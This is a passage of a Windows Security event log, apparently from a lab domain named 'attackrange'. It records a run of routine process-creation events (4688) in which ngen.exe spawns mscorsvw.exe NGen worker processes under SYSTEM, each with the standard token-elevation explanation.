	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 30c -InterruptEvent 0 -NGENProcess 648 -Pipe 330 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254586
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x968
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 758 -InterruptEvent 0 -NGENProcess 418 -Pipe 6f0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254593
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdd4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 344 -InterruptEvent 0 -NGENProcess 214 -Pipe 320 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254592
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1238
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 57c -InterruptEvent 0 -NGENProcess 758 -Pipe 734 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254595
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x898
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 324 -InterruptEvent 0 -NGENProcess 564 -Pipe 358 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254594
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13b8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 650 -InterruptEvent 0 -NGENProcess 57c -Pipe 5c0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254598
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc9c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 408 -InterruptEvent 0 -NGENProcess 7b8 -Pipe 30c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254597
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12dc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 304 -InterruptEvent 0 -NGENProcess 564 -Pipe 348 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254596
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1168
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7b8 -InterruptEvent 0 -NGENProcess 650 -Pipe 368 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254603
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe4c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 514 -InterruptEvent 0 -NGENProcess 2dc -Pipe 32c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254602
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13e4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 564 -InterruptEvent 0 -NGENProcess 5f4 -Pipe 7bc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254601
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x35c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7cc -InterruptEvent 0 -NGENProcess 318 -Pipe 304 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254600
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1268
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5f4 -InterruptEvent 0 -NGENProcess 408 -Pipe 758 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254599
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x638
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 328 -InterruptEvent 0 -NGENProcess 564 -Pipe 264 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254608
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe80
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2a8 -InterruptEvent 0 -NGENProcess 2dc -Pipe 2e4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254607
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1348
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6fc -InterruptEvent 0 -NGENProcess 2ac -Pipe 57c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254606
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc48
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 57c -InterruptEvent 0 -NGENProcess 6fc -Pipe 7cc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254605
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x102c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 280 -InterruptEvent 0 -NGENProcess 2dc -Pipe 2f0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254604
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa08
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
